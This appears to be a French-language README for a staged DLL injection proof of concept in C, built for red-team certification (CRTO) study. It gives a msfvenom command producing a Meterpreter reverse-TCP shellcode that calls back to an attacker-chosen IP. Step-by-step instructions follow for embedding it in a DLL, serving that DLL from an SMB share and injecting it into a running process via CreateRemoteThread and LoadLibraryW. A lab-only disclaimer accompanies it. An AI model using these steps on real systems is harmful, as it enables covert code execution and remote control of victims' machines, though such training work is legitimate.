Injection DLL par étapes - preuve de concept construite en C utilisant les API Win32 — développée dans un environnement de laboratoire isolé pour l'étude de certification red team (CRTO).
Preuve de concept d'injection DLL par étapes (staged) écrite en C à l'aide des API Win32 — développée dans un environnement de laboratoire isolé pour l'étude de la certification d'équipe rouge (CRTO).
⚠️ Avertissement : Ce projet a été développé strictement dans un environnement de laboratoire isolé à des fins éducatives dans le cadre de la recherche offensive en sécurité et de l'étude de certification (CRTO). Il n'est pas destiné à être utilisé contre des systèmes sans autorisation écrite explicite. Toute utilisation non autorisée est illégale et contraire à l'éthique.
Une preuve de concept d'injection DLL par étapes sur Windows, construite dans le cadre d'études de certification d'équipe rouge. Ce projet montre comment un stager peut charger à distance une DLL malveillante dans un processus cible en utilisant les API natives Win32. Fonctionne mieux dans un environnement Active Directory qui autorise le trafic SMB au sein du réseau interne ; déconseillé pour une utilisation sur Internet.
1. Construire une shellcode avec msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtenir la shellcode brute et la convertir en tableau C
xxd -i payload.bin > payload.h
3. Copier la shellcode et la coller sous le tableau unsigned char payload_bin[] {xxxxx} dans maindll.c
4. Modifier phc.c pour pointer l'adresse vers votre IP dans dllPath[]
5. Compiler phc.c en .exe, et compiler maindll.c en fichier .dll
6. Héberger le serveur SMB et placer maindll.dll
7. Configurer l'écouteur
8. Ouvrir Notepad.exe et trouver le PID
9. Exécuter phc.exe <PID>
phc.c)OpenProcessVirtualAllocLoadLibraryW depuis Kernel32CreateRemoteThread qui appelle LoadLibraryW, chargeant la DLL depuis un partage SMB distantmaindll.dll)DllMain se déclenche automatiquement sur DLL_PROCESS_ATTACHVirtualAllocCreateThreadphc.exe → Ouvre le processus cible → Alloue de la mémoire dans le processus cible → Charge maindll.dll depuis un partage SMB via LoadLibraryW → DllMain se déclenche → La shellcode est exécutée dans le processus cible
CreateRemoteThread + LoadLibraryWDllMainTesté sur Windows 10 dans un environnement de laboratoire isolé. Écouteur C2 hébergé sur Kali Linux.